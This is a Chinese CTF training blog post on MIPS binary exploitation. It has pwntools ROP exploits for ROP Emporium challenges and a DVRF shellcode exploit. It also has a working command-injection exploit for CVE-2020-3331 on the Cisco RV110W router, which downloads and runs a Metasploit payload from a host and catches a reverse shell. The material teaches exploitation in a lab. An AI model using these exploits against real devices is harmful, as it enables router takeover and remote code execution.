2022CTF培训(九)MIPS PWN环境搭建&MIPS PWN入门-程序员宅基地

技术标签: 系统安全  linux  

附件下载链接

环境搭建

ARM PWN 环境搭建 的基础上,首先安装具备MIPS交叉编译gcc与MIPS程序动态链接库:

sudo apt-get install gcc-mips-linux-gnu
sudo apt-get install gcc-mipsel-linux-gnu
sudo apt-get install gcc-mips64-linux-gnuabi64
sudo apt-get install gcc-mips64el-linux-gnuabi64

然后就可以正常运行
在这里插入图片描述
将 mipsel 添加到 qqemu-binfmt,这样 linux 可以根据文件头找相应的程序运行:

sudo ln -s /usr/mipsel-linux-gnu/ /etc/qemu-binfmt/mipsel

在这里插入图片描述

ret2win

栈溢出

int pwnme()
{
    
  char buf[32]; // [sp+18h] [+18h] BYREF

  memset(buf, 0, sizeof(buf));
  puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
  puts("What could possibly go wrong?");
  puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
  printf("> ");
  read(0, buf, 0x38u);                          // bof
  return puts("Thank you!");
}

分析汇编可知,返回值存储在 $sp + 0x3C 处,而 buf 起始位置在 $sp + 0x18 处,因此偏移为 0x24 。
在这里插入图片描述
因此不难写出 exp:

from pwn import *

context(arch='mips', os='linux')
context.log_level = 'debug'
# p = remote()
p = process(["qemu-mipsel", "./ret2win_mipsel"])
# p = process(["qemu-mipsel", "-g", "1234", "./ret2win_mipsel"])
elf = ELF("./ret2win_mipsel")

ret2win = 0x00400A00

if __name__ == '__main__':
    payload = "a" * 0x24 + p32(ret2win)
    p.sendafter(">", payload)
    p.interactive()

运行 exp,并用 gdb 附加调试,发现返回值被成功覆盖:
在这里插入图片描述
与 x86 和 arm 不同的是,mips 在函数返回时会先将之前保存到栈上的返回地址重新读取到 $ra 寄存器中,然后再通过 $jr ra 语句将返回值从 $ra 寄存器赋值到 $pc 寄存器中,因此跳转到 ret2win 后会出现 $pc 寄存器和 $ra 寄存器的值相等的情况,也就是会说之后重复执行 ret2win 函数。
在这里插入图片描述
继续运行,成功执行 ret2win 函数获得 flag 。
在这里插入图片描述

split

同样是栈溢出

int pwnme()
{
    
  char buffer[32]; // [sp+18h] [+18h] BYREF

  memset(buffer, 0, sizeof(buffer));
  puts("Contriving a reason to ask user for data...");
  printf("> ");
  read(0, buffer, 0x60u);                       // bof
  return puts("Thank you!");
}

存在可利用的字符串并且 system 函数在 plt 表里。

.data:00411010 usefulString:   .ascii "/bin/cat flag.txt"<0>

现在需要一个可以从栈中读取地址到 r0 的 gadget 。使用 ROPgadget 搜索可用的 gadget :

ROPgadget --binary "./split_mipsel" | grep -E ": lw .*a0, .*sp"

找到一个合适的 gadget :

0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

最终 exp 如下:

from pwn import *

elf = ELF("./split_mipsel")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# p = process(["qemu-mipsel", "./split_mipsel"])

p = process(["qemu-mipsel", "-g", "1234", "./split_mipsel"])
gdb.attach(target=('127.0.0.1', 1234), exe='./split_mipsel', gdbscript='b *0x400984\nc')

payload = 'a' * 36
payload += p32(elf.search(asm('lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop'), executable=True).next())
payload += 'bbbb'
payload += p32(elf.plt['system'])
payload += p32(elf.search('/bin/cat flag.txt').next())
p.sendafter(">", payload)
p.interactive()

callme

根据之前 ARM PWN 的分析,需要通过栈溢出构造 rop 分别调用 3 个 callme 函数完成对 flag 的打印和输出。

通过 ROPgadget 搜索到一个合适的 gedget 。

 ► 0x400bb0 <usefulGadgets>       lw     $a0, 0x10($sp)
   0x400bb4 <usefulGadgets+4>     lw     $a1, 0xc($sp)
   0x400bb8 <usefulGadgets+8>     lw     $a2, 8($sp)
   0x400bbc <usefulGadgets+12>    lw     $t9, 4($sp)
   0x400bc0 <usefulGadgets+16>    jalr   $t9
 
   0x400bc4 <usefulGadgets+20>    nop    
   0x400bc8 <usefulGadgets+24>    lw     $ra, 0x14($sp)
   0x400bcc <usefulGadgets+28>    jr     $ra                           <usefulGadgets>
 
   0x400bd0 <usefulGadgets+32>    addi   $sp, $sp, 0x18

这个 gadget 首先分别对 $a0$a1$a2 以及 $t9 寄存器赋值,然后调用 $t9 寄存器指向的函数,最后再修改 $ra 寄存器并跳转到 $ra 寄存器指向的地址并且将 $sp 增加 0x18。因此可以设置 $a0$a1$a2 为函数的三个参数,然后设置 $t9 寄存器为函数对应的 plt 表地址,最后设置 $ra 寄存器为 gadget 地址从而进行下一次函数调用。

exp 如下:

from pwn import *

context.log_level = 'debug'

elf = ELF("./callme_mipsel")
context(arch=elf.arch, os=elf.os)

p = process(["qemu-mipsel", "-g", "1234", "./callme_mipsel"])
gdb.attach(target=('127.0.0.1', 1234), exe='./callme_mipsel', gdbscript='b *0x400AD4\nc')


# p = process(["qemu-mipsel", "./callme_mipsel"])


def callme(addr, arg1, arg2, arg3):
    payload = ""
    payload += p32(0)
    payload += p32(addr)
    payload += p32(arg3)
    payload += p32(arg2)
    payload += p32(arg1)
    payload += p32(elf.search(asm('lw $a0, 0x10($sp); lw $a1, 0xc($sp); lw $a2, 8($sp); lw $t9, 4($sp); jalr $t9; nop;'), executable=True).next())
    return payload


payload = ""
payload += "a" * 36
payload += p32(elf.search(asm('lw $a0, 0x10($sp); lw $a1, 0xc($sp); lw $a2, 8($sp); lw $t9, 4($sp); jalr $t9; nop;'), executable=True).next())
payload += callme(elf.plt["callme_one"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
payload += callme(elf.plt["callme_two"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
payload += callme(elf.plt["callme_three"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
p.sendafter(b">", payload)
p.interactive()

跳转的 plt 表并返回这里可能会存在一些疑惑。按常理再说,plt 应该对调用者透明,也就是说调用 plt 表应该像直接调用函数一样,但是以 callme_one 函数为例,plt 表部分的汇编代码如下(这里 plt 的起始位置有点奇怪,这是因为 ida 是按照符号表指向的位置识别的):

.MIPS.stubs:00400D1C                 li      $t8, 0x19
.MIPS.stubs:00400D1C  # End of function _callme_three
.MIPS.stubs:00400D1C
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20  # =============== S U B R O U T I N E =======================================
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20  # int callme_one()
.MIPS.stubs:00400D20 _callme_one:                             # DATA XREF: LOAD:0040056C↑o
.MIPS.stubs:00400D20                 lw      $t9, _GLOBAL_OFFSET_TABLE_
.MIPS.stubs:00400D24                 move    $t7, $ra
.MIPS.stubs:00400D28                 jalr    $t9

gadget 中跳转的方式是 jalr $t9 ,是一个正常的函数调用,返回值会保存到 $ra 中,进入到函数后如果函数还会调用其他函数首先要做的是将 $ra 寄存器保存到栈中。但是 callme_one 的 plt 表中没有将 $ra 寄存器保存到栈中,而是将 $ra 赋值给临时寄存器 $t7 并 jalr $t9 覆盖了 $ra 寄存器的值,那么调用完 callme_one 之后岂不是会返回到下一条指令然后沿着 plt 表继续往下执行?
实际上, 这里 plt 表中 _GLOBAL_OFFSET_TABLE_ 并不是 callme_one 的 got 地址,而是 got 表的起始地址。got 表的起始位置会存放一个函数的地址,如果要调用的函数在 got 表中没有修复地址,那么这个函数会修复该地址,最后会调用对应函数。在此期间会将 $ra 寄存器的值修改为调用 plt 表的下一条指令使得程序可以正常返回。

write4

根据之前 ARM PWN 的分析,需要通过写内存的 gadget 写入文件名然后调用 print_file 函数打印参数。

写内存可以用 0x00400930 处的 gadget 。

0x00400930 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ;

调用 print_file 函数可以用 0x00400948 处的gadget 。

0x00400948 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

最终 exp 如下:

from pwn import *

elf = ELF("./write4_mipsel")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process(["qemu-mipsel", "-g", "1234", "./write4_mipsel"])
# p = process(["qemu-mipsel", "./write4_mipsel"])

gdb.attach(target=('127.0.0.1', 1234), exe='./write4_mipsel', gdbscript='b *0x3ffb0994\nc')

file_name_addr = 0x411000 + 0x200


def write4(addr, data):
    payload = ""
    payload += p32(elf.search(asm('lw $t9, 0xc($sp); lw $t0, 8($sp); lw $t1, 4($sp); sw $t1, ($t0); jalr $t9; addi $sp, $sp, 0x10;'), executable=True).next())
    payload += "aaaa"
    payload += data[:4].ljust(4, '\x00')  # $t1
    payload += p32(addr)  # t0
    return payload


payload = 'a' * 0x24
payload += write4(file_name_addr, "flag")
payload += write4(file_name_addr + 4, ".txt")
payload += write4(file_name_addr + 8, '\x00')
payload += p32(elf.search(asm('lw $a0, 8($sp); lw $t9, 4($sp); jalr $t9; nop;'), executable=True).next())
payload += 'aaaa'
payload += p32(elf.plt['print_file'])
payload += p32(file_name_addr)
p.sendafter(">", payload)
p.interactive()

CVE-2020-3331

环境搭建

github的 IoT-vulhub 项目提供了这个漏洞的环境。虽然项目有详细的 README 可供参考,但是还是有一些细节没有提及,并且还会出现一些玄学问题。因此如果环境没有搭好,要认真阅读报错信息寻找出错的地方,实在分析不出问题就恢复快照重新搭一遍

构建所需镜像

漏洞环境的搭建需要依赖一些镜像,其中有些 README 默认使用者已经构建好了,因此没有说明,建议以以下的描述为准。由于镜像之间有依赖关系,因此最好按照按照顺序构建。

  • ubuntu16.04
    整个项目都要依赖的镜像
    # 构建 ubuntu1604 基础镜像
    $ cd baseImage/ubuntu1604 && docker build -t firmianay/ubuntu1604 .
    
  • binwalk
    作为解压固件的工具包
    # 构建 binwalk 容器,方便使用
    $ cd baseImage/binwalk && docker build -t firmianay/binwalk .
    
  • qemu-system
    调试漏洞所需的镜像,因为固件是 mipsel 架构的,因此选择 mipsel 。注意要要先运行下载脚本下载内核镜像之类的文件。
    $ cd baseImage/qemu-system/mipsel/images
    $ ./download.sh
    $ cd baseImage/qemu-system/mipsel/
    $ docker build -t firmianay/qemu-system:mipsel .
    

解压固件

在 CVE-2020-3331 目录下运行如下命令:

$ docker run --rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer "/root/firmware/RV110W_FW_1.2.2.5.bin"

如果是使用本机的 binwalk 需要安装 sasquatch

git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/47.patch
patch -p1 < 47.patch
sudo ./build.sh

另外新版的 binwalk 为了安全会将符号链接到具体设备的链接修改为链接到 /dev/null ,因此需要添加 --preserve-symlinks 参数。

正常情况下解压出的 squashfs-root 下是有文件的。在这里插入图片描述
如果没有文件就重新构建 binwalk 镜像然后重新解压,重新构建前要把之前的镜像删除。

构建并启动漏洞分析镜像

依次运行如下 3 条命令:

# 初始化环境
$ ./init_env.sh mipsel
# 构建镜像
$ docker-compose -f docker-compose-system.yml build
# 启动容器
$ docker-compose -f docker-compose-system.yml up

如果正常的话最后是这样的:
在这里插入图片描述

首次攻击尝试

进入到构建好的镜像中运行 exp 脚本,可以成功获取 shell 。
在这里插入图片描述

调试

由于镜像的中的 python 版本有问题导致 gef 插件跑不起来,因此这里采用本机调试。

在构建并启动漏洞分析镜像后,进入镜像的 shell 然后关闭并手动重启固件主机,从而进入固件主机的 shell

$ docker exec -it cisco-system /bin/bash

root@7463bb44fe27:$ cd images
root@7463bb44fe27:$ ps -ef | grep qemu-system  | awk '{print $2}' | xargs kill -9
root@7463bb44fe27:$ qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

进入固件主机后运行 run_httpd.sh 启动脚本然后运行 gdbserver 附加到固件对应进程并监听 6666 端口。

root@debian-mipsel:$ cd squashfs-root/
root@debian-mipsel:$ ./tools/run_httpd.sh
root@debian-mipsel:$ ps -ef | grep httpd | grep -v 'grep' | awk '{print $2}' | xargs ./tools/gdbserver :6666 --attach
Attached; pid = 2328
Listening on port 6666

再开一个控制台窗口进入 docker 镜像然后开启固件主机 6666 端口到docker进行 6666 端口的端口转发。

$ docker exec -it cisco-system /bin/bash
$ ssh [email protected] -f -N -g -R 0.0.0.0:6666:192.168.2.2:6666

由于 docker-compose 配置了本机 6666 端口到镜像 6666 端口的端口映射,因此可以用 gdb 连本地的 6666 端口调试固件主机中的固件。

ports:
    - "8888:80"
    - "6666:6666"

注意,开启端口转发时中间有个询问是否继续连接的步骤,这里回车默认不是 yes,一定要手动把 yes 输进去。否则会有个报错然后就被网上的关于这个报错解决方法带偏了
在这里插入图片描述
之后 gdb attach 上本地的 6666 端口就可以进行调试了,这里 gdb 插件不建议用 pwndbg(pwndbg 比较卡,另外如果使用 pwndbg 需要设置 set follow-fork-mode parent 防止跟踪到子进程)。
在这里插入图片描述
在关键位置下好断点,然后再开一个窗口进入 docker 的 shell 运行 exp,成功在关键位置断下来:
在这里插入图片描述

不依赖 docker 的调试方法

上面的方法本质是在 docker 中运行与调试 qemu 的中的固件,这种方法非常不方便,这里参考之前在 docker 中调试程序的方法实现在 qemu 中自动化调试分析固件。

由于 qemu 不像 docker 这样有专门的执行命令的接口,因此这里利用 pwntools 实现相关功能。

我们事先做一些初始化操作,比如拷贝文件系统和相关工具到 qemu 虚拟机中,并在主机创建虚拟网卡方便与 qemu 进行通信。这里对磁盘镜像的修改会被保存,因此下一次启动 qemu 虚拟机时就不必再次传送文件。

if ! ip link show tap0 &>/dev/null; then
    tunctl -t tap0 -u $(whoami)
fi
ifconfig tap0 192.168.2.1/24

sshpass -p root scp ./squashfs-root.tar.gz [email protected]:~

tar zxf squashfs-root.tar.gz && rm squashfs-root.tar.gz # 注意这条命令是在 qemu 虚拟机中执行的

sshpass -p root scp -r ./tools [email protected]:~/squashfs-root/tools
#!/usr/bin/python2
# coding=utf-8

from pwn import *

context.log_level = 'debug'

qemu = process(['qemu-system-mipsel',
                '-M', 'malta',  # 主板,看内核镜像后缀。
                '-kernel', 'vmlinux-3.2.0-4-4kc-malta', # 内核镜像
                '-hda', 'debian_wheezy_mipsel_standard.qcow2', # 虚拟硬盘镜像
                '-append', 'root=/dev/sda1 console=tty0', # 内核启动参数
                '-net', 'nic', # 添加一个网络接口卡(NIC)到模拟器中,以实现网络功能。
                '-net', 'tap,ifname=tap0,script=no,downscript=no', # 添加一个 TAP 设备,并将其与模拟器中的网络接口卡关联起来,用于与主机的网络进行通信。
                '-nographic' # 禁用图形界面输出,只使用命令行界面进行连接和操作。
                ])

# 登录
qemu.sendlineafter("debian-mipsel login:", "root")
qemu.sendlineafter("Password:", "root")

# 设置 ip
qemu.sendlineafter("root@debian-mipsel:~# ", "ifconfig eth0 192.168.2.2/24")

# 关闭 ASLR
qemu.sendlineafter("root@debian-mipsel:~# ", "echo 0 > /proc/sys/kernel/randomize_va_space")

# 挂载设备
qemu.sendlineafter("# ", "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc")

# 设置根目录
qemu.sendlineafter("# ", "chroot squashfs-root/ sh")

# nvram 配置文件
qemu.sendlineafter("# ", "cp ./tools/nvram.ini ./")

# 启动 httpd
qemu.sendlineafter("# ", "LD_PRELOAD='./tools/libnvram-faker.so' /usr/sbin/httpd")

# 阻塞等待 http 请求
pause()

# gdbserver 附加程序
qemu.sendlineafter("#", "ps | grep httpd | grep -v 'grep' | awk '{print $1}' | xargs ./tools/gdbserver :9999 --attach")

qemu.interactive()

这样我们在 exp 脚本中就可以通过下面这种方式来远程调试。

gdb.attach(target=('192.168.2.2', 9999), exe=elf.path, gdbscript='set follow-fork-mode parent\nb *0x0431B60\nc')
pause()

漏洞分析

漏洞位于 guest_logout_cgi 函数。sscanf 可以造成栈溢出。
在这里插入图片描述
guest_logout_cgi 函数与漏洞触发有关的关键代码如下:

int __fastcall guest_logout_cgi(int a1)
{
    
	...
	v5 = (const char *)get_cgi((int)"cmac");
	...
	v10 = (const char *)get_cgi((int)"cip");
	v11 = (const char *)get_cgi((int)"submit_button");
	if ( !v11 )
	  v11 = "";
	if ( v5 && v10 )
	{
    
		...
		if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) ) // cmac 字段必须是合法的 MAC 地址,并且 cip 字段必须是合法的 IP 地址。
		{
    
			v17 = strstr(v11, "status_guestnet.asp");
			if ( !v17 )	// submit_button 字段必须包含 "status_guestnet.asp"
				goto LABEL_31;
			sscanf(v11, "%[^;];%*[^=]=%[^\n]", v36, v35); // v36 溢出
			...
			v24 = (const char *)nvram_get("session_key", v21, v22); // 没有 session_key 字段会进入下面的判断中。
			if ( !v24 || (v25 = 1, strcmp(v24, v35)) )
			{
    
LABEL_31:
				v26 = (const char *)nvram_get("http_client_mac", v18, v19); // 没有 http_client_mac 和 http_client_ip 字段,不会进入下面的判断中。
				if ( v26 && strcmp(v26, v5) || (v31 = (const char *)nvram_get("http_client_ip", v27, v28)) != 0 && strcmp(v31, v10) )
				{
    
					...
					goto LABEL_35;
				}
				...
			}
			...
LABEL_35:
			if ( strcmp(v11, "login_guest.asp") ) // v11 与 login_guest.asp 不相同,因此会退出,由于此时返回值被覆盖成 system 函数地址且 $a0 为 v11 即 submit_button 字段从第一个 status_guestnet.asp 开始的字符串,因此会执行 submit_button 中包含的命令。
				return 0;
		}
		...
	}
	return 0;
}

sscanf 中的格式化字符串为 %[^;];%*[^=]=%[^\n] ,其中 %[^;] 含义为匹配不包含 ; 的字符串,%*[^=] 表示匹配不带 = 且匹配到的只出场不传给参数,%[^\n] 表示匹配不带 \n 的字符串。最终匹配到的字符串按顺序传给给定的参数。因此只需要构造一个以 status_guestnet.asp 开头,后面包含没有 ; 的要执行的命令以及填充字节最后加一个 system 函数地址就可以执行命令了。
通过 IDA 分析汇编可知溢出长度为 0x68
在这里插入图片描述
至于执行的命令,可以是从 wget 获取本地的 msf 工具然后运行改工具反弹 shell 。
完整 exp 如下:

#!/usr/bin/python3

from pwn import *
import requests
from threading import Thread

context(arch='mips', endian='little', os='linux')

system = 0x0047A610

cmd  = '\n'
cmd += 'wget http://192.168.2.1:8000/tools/msf -O /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf\n'

assert(len(cmd) < 0x55)

payload = b"status_guestnet.asp" + cmd.ljust(0x55,'a').encode() + p32(system) 
data = {
    "cmac":"12:af:aa:bb:cc:dd", "submit_button":payload, "cip":"192.168.100.1"}

def attack():
    try:
        requests.post("http://192.168.2.2/guest_logout.cgi", data=data, timeout=1)
    except Exception as e:
        print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()

运行 exp,可以看到函数返回地址被覆盖了 system 函数地址
在这里插入图片描述
继续运行到函数返回,此时 $a0 寄存器指向 v11 字符串,可以执行其中的命令。
在这里插入图片描述

DVRF stack_bof_02

题目源码如下:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

//Simple BoF by b1ack0wl for E1550
//Shellcode is Required


int main(int argc, char **argv[]){
    
char buf[500] ="\0";

if (argc < 2){
    
printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");
exit(1);
} 


printf("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r\n"); 
strcpy(buf, argv[1]);

printf("You entered %s \r\n", buf);
printf("Try Again\r\n");

return 0;
}

// mipsel-linux-gnu-gcc -fno-stack-protector stack_bof_02.c -o stack_bof_02

显然 main 函数中 strcpy 存在栈溢出。由于没有后门函数并且没有开 NX 保护,因此可以考虑 ret2shellcode 的做法。
这里要注意由于 mips 是流水指令集,存在 cache incoherency 的特性,需要在跳转到 shellcode 前调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。

在查找 gadget 的时候发现,stack_bof_02 文件可用的 gadget 很少,由于 qemu 中每次运行 libc 加载的基址相同,因此可以考虑使用 libc 中的 gadget 。在我的环境中需要分析的是 libc-2.30.so

$ ls -al /usr/mipsel-linux-gnu/lib | grep "libc.so"
-rw-r--r-- 1 root root     301 924  2019 libc.so
lrwxrwxrwx 1 root root      12 924  2019 libc.so.6 -> libc-2.30.so

libc 基址可以通过 got 表中的函数地址与该函数在 libc 中的偏移算出来。
在这里插入图片描述

又因为 ROPgadget 找不到合适的 gadget ,因此这里使用 IDA 插件 MIPS ROP Finder 搜索 gadget 。
插件在附件中提供。我使用的 IDA 版本是 7.7 ,安装方式是将压缩包解压,然后将里面的文件放到 plugins 文件夹下,注意我放的是解压出的 shimsmipsrop.py 这两个项。之后重启 IDA 然后点击 Search -> mips rop gadgets 等待插件初始化完成就可以正常使用了。
由于要调用 sleep 函数,因此首先要设置参数寄存器 $a0 的值:

Python>mipsrop.find("li $a0, 1")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000B9350  |  li $a0,1                                            |  jalr  $s2                             |
|  0x000E2660  |  li $a0,1                                            |  jalr  $s2                             |
|  0x00109918  |  li $a0,1                                            |  jalr  $s1                             |
|  0x0010E604  |  li $a0,1                                            |  jalr  $s2                             |
|  0x0012D650  |  li $a0,1                                            |  jalr  $s0                             |
|  0x0012D658  |  li $a0,1                                            |  jalr  $s2                             |
|  0x00034C5C  |  li $a0,1                                            |  jr    0x18+var_s4($sp)                |
|  0x00080100  |  li $a0,1                                            |  jr    0x18+var_s4($sp)                |
|  0x00088E80  |  li $a0,1                                            |  jr    0x1C+var_s0($sp)                |
|  0x00091134  |  li $a0,1                                            |  jr    0x70+var_s24($sp)               |
|  0x00091BB0  |  li $a0,1                                            |  jr    0x70+var_s24($sp)               |
|  0x000D5460  |  li $a0,1                                            |  jr    0x1C+var_s10($sp)               |
|  0x000F2A80  |  li $a0,1                                            |  jr    0x1C+var_s0($sp)                |
|  0x001251C0  |  li $a0,1                                            |  jr    0x18+var_s14($sp)               |
----------------------------------------------------------------------------------------------------------------
Found 14 matching gadgets

这里选择 0x000E2660 地址处的 gadget :

.text:000E2660 25 C8 40 02                   move    $t9, $s2
.text:000E2664 09 F8 20 03                   jalr    $t9 ; sigprocmask
.text:000E2668 01 00 04 24                   li      $a0, 1

由于这个 gadget 的跳转需要 $s2 控制,因此需要一个设置 $s2 的 gadget ,这里找的是 0x00E2660 处的 gadget 。这条 gadget 不可可以控制 $s2 的值,还能控制其他的 $s 寄存器的值,也就是说后面的 gadget 的 $s 寄存器的值都可以控制。

.text:000B2EE8 34 00 BF 8F                   lw      $ra, 0x34($sp)
.text:000B2EE8
.text:000B2EEC
.text:000B2EEC                               loc_B2EEC:                               # CODE XREF: readdir64+194↓j
.text:000B2EEC 25 10 00 02                   move    $v0, $s0
.text:000B2EF0 30 00 B6 8F                   lw      $s6, 0x18+var_s18($sp)
.text:000B2EF4 2C 00 B5 8F                   lw      $s5, 0x18+var_s14($sp)
.text:000B2EF8 28 00 B4 8F                   lw      $s4, 0x18+var_s10($sp)
.text:000B2EFC 24 00 B3 8F                   lw      $s3, 0x18+var_sC($sp)
.text:000B2F00 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
.text:000B2F04 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
.text:000B2F08 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
.text:000B2F0C 08 00 E0 03                   jr      $ra
.text:000B2F10 38 00 BD 27                   addiu   $sp, 0x38

因为如果在执行完 0x000E2660 处的 gadget 后直接跳转到 sleep 函数那么会返回到这个 gadget 跳转地址后的指令继续执行这样就无法控制之后的程序执行流程。为了防止这种情况发生,我们需要在这条 gadget 和 sleep 函数之间加一条 jlar $ra 之后还能控制跳转的指令。考虑到前面已经把 $s 寄存器控制了,因此可以查找 mov $t9, $s3 指令。这里选择 0x000949EC 地址处的gadget 。

.text:000949EC 25 C8 60 02                   move    $t9, $s3
.text:000949F0 09 F8 20 03                   jalr    $t9 ; uselocale
.text:000949F4 25 80 40 00                   move    $s0, $v0
.text:000949F4
.text:000949F8
.text:000949F8                               loc_949F8:                               # CODE XREF: strerror_l+15C↓j
.text:000949F8 34 00 BF 8F                   lw      $ra, 0x24+var_s10($sp)
.text:000949FC 25 10 00 02                   move    $v0, $s0
.text:00094A00 30 00 B3 8F                   lw      $s3, 0x24+var_sC($sp)
.text:00094A04 2C 00 B2 8F                   lw      $s2, 0x24+var_s8($sp)
.text:00094A08 28 00 B1 8F                   lw      $s1, 0x24+var_s4($sp)
.text:00094A0C 24 00 B0 8F                   lw      $s0, 0x24+var_s0($sp)
.text:00094A10 08 00 E0 03                   jr      $ra
.text:00094A14 38 00 BD 27                   addiu   $sp, 0x38

之后的操作就是如何跳转到 shellcode上执行。虽然在 qemu 中栈地址不变,但这里提供一个泄露栈地址的方法。
mipsrop.stackfinder() 可以搜索到泄露栈地址的 gadget,这里选择 0x00095B74 地址处的 gadget :

.text:00095B74 34 00 A5 27                   addiu   $a1, $sp, 0x34  # '4'
.text:00095B78 18 00 A0 AF                   sw      $zero, 0x5C+var_44($sp)
.text:00095B7C 14 00 A2 AF                   sw      $v0, 0x5C+var_48($sp)
.text:00095B80 25 38 40 02                   move    $a3, $s2
.text:00095B84 25 C8 A0 02                   move    $t9, $s5
.text:00095B88 09 F8 20 03                   jalr    $t9

由于栈地址已经泄露到 $a1 寄存器中,因此可以搜索 mov $t9, $a1 查找可以用 $a1 寄存器控制跳转地址的 gadget ,这里选择的是 0x0012568C 处的地址。

.text:0012568C 25 C8 A0 00                   move    $t9, $a1
.text:00125690 25 38 40 00                   move    $a3, $v0
.text:00125694 25 28 80 00                   move    $a1, $a0
.text:00125698 09 F8 20 03                   jalr    $t9

最终可构造出的 rop 如下:
在这里插入图片描述
事实上 MIPS 的 ROP 的构造比 x86 要简单,因为对应 call 指令的 jalr 指令不会改变栈且可以根据寄存器的值进行跳转。但这也意味着 ROP 的构造更加灵活。

exp 如下:

from pwn import *

context(arch='mips', os='linux')
# context.log_level = 'debug'
libc_base = 0x7F619000

if __name__ == '__main__':
    payload = "a" * 508
    payload += p32(libc_base + 0x000B2EE8)
    payload += "a" * 0x20
    payload += p32(libc_base + 0x000949EC)
    payload += p32(libc_base + 0x000B8FC0)
    payload += "aaaa"
    payload += p32(libc_base + 0x0012568C)
    payload += "aaaa"
    payload += p32(libc_base + 0x000E2660)
    payload += "a" * 0x34
    payload += p32(libc_base + 0x00095B74)
    payload += "a" * 0x34
    payload += asm(shellcraft.sh())
    # p = process(['qemu-mipsel-static',  '-g', '1234','./stack_bof_02', payload])
    p = process(['qemu-mipsel-static', './stack_bof_02', payload])
    p.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_45323960/article/details/128358556

智能推荐

分布式光纤传感器的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告_预计2026年中国分布式传感器市场规模有多大-程序员宅基地

文章浏览阅读3.2k次。本文研究全球与中国市场分布式光纤传感器的发展现状及未来发展趋势,分别从生产和消费的角度分析分布式光纤传感器的主要生产地区、主要消费地区以及主要的生产商。重点分析全球与中国市场的主要厂商产品特点、产品规格、不同规格产品的价格、产量、产值及全球和中国市场主要生产商的市场份额。主要生产商包括:FISO TechnologiesBrugg KabelSensor HighwayOmnisensAFL GlobalQinetiQ GroupLockheed MartinOSENSA Innovati_预计2026年中国分布式传感器市场规模有多大

07_08 常用组合逻辑电路结构——为IC设计的延时估计铺垫_基4布斯算法代码-程序员宅基地

文章浏览阅读1.1k次,点赞2次,收藏12次。常用组合逻辑电路结构——为IC设计的延时估计铺垫学习目的:估计模块间的delay,确保写的代码的timing 综合能给到多少HZ,以满足需求!_基4布斯算法代码

OpenAI Manager助手(基于SpringBoot和Vue)_chatgpt网页版-程序员宅基地

文章浏览阅读3.3k次,点赞3次,收藏5次。OpenAI Manager助手(基于SpringBoot和Vue)_chatgpt网页版

关于美国计算机奥赛USACO,你想知道的都在这_usaco可以多次提交吗-程序员宅基地

文章浏览阅读2.2k次。USACO自1992年举办,到目前为止已经举办了27届,目的是为了帮助美国信息学国家队选拔IOI的队员,目前逐渐发展为全球热门的线上赛事,成为美国大学申请条件下,含金量相当高的官方竞赛。USACO的比赛成绩可以助力计算机专业留学,越来越多的学生进入了康奈尔,麻省理工,普林斯顿,哈佛和耶鲁等大学,这些同学的共同点是他们都参加了美国计算机科学竞赛(USACO),并且取得过非常好的成绩。适合参赛人群USACO适合国内在读学生有意向申请美国大学的或者想锻炼自己编程能力的同学,高三学生也可以参加12月的第_usaco可以多次提交吗

MySQL存储过程和自定义函数_mysql自定义函数和存储过程-程序员宅基地

文章浏览阅读394次。1.1 存储程序1.2 创建存储过程1.3 创建自定义函数1.3.1 示例1.4 自定义函数和存储过程的区别1.5 变量的使用1.6 定义条件和处理程序1.6.1 定义条件1.6.1.1 示例1.6.2 定义处理程序1.6.2.1 示例1.7 光标的使用1.7.1 声明光标1.7.2 打开光标1.7.3 使用光标1.7.4 关闭光标1.8 流程控制的使用1.8.1 IF语句1.8.2 CASE语句1.8.3 LOOP语句1.8.4 LEAVE语句1.8.5 ITERATE语句1.8.6 REPEAT语句。_mysql自定义函数和存储过程

半导体基础知识与PN结_本征半导体电流为0-程序员宅基地

文章浏览阅读188次。半导体二极管——集成电路最小组成单元。_本征半导体电流为0

随便推点

【Unity3d Shader】水面和岩浆效果_unity 岩浆shader-程序员宅基地

